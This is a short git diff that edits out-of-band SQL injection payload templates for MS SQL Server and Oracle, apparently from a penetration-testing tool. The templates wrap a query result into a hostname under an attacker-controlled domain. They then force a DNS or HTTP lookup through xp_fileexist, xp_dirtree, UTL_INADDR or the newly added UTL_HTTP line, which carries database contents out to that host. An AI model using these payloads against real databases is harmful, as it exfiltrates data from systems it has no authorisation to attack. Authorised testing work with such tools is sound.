diff --git a/procs/mssqlserver/dns_request.txt b/procs/mssqlserver/dns_request.txt index 3c3a43520..94948ea71 100644 --- a/procs/mssqlserver/dns_request.txt +++ b/procs/mssqlserver/dns_request.txt @@ -1,4 +1,4 @@ DECLARE @host varchar(1024); -SELECT @host = '%PREFIX%.' + (%QUERY%) + '.%SUFFIX%' + '.%DOMAIN%'; +SELECT @host = '%PREFIX%.' + (%QUERY%) + '.%SUFFIX%.%DOMAIN%'; EXEC('xp_fileexist "\\' + @host + '\%PREFIX%%SUFFIX%"'); # or EXEC('xp_dirtree "\\' + @host + '."'); diff --git a/procs/oracle/dns_request.txt b/procs/oracle/dns_request.txt index 098db897a..adb71cfb2 100644 --- a/procs/oracle/dns_request.txt +++ b/procs/oracle/dns_request.txt @@ -1 +1,2 @@ -SELECT UTL_INADDR.GET_HOST_ADDRESS('%PREFIX%.'||(%QUERY%)||'.%SUFFIX%'||'.%DOMAIN%') FROM DUAL +SELECT UTL_INADDR.GET_HOST_ADDRESS('%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%') FROM DUAL +# or SELECT UTL_HTTP.REQUEST('http://%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%') FROM DUAL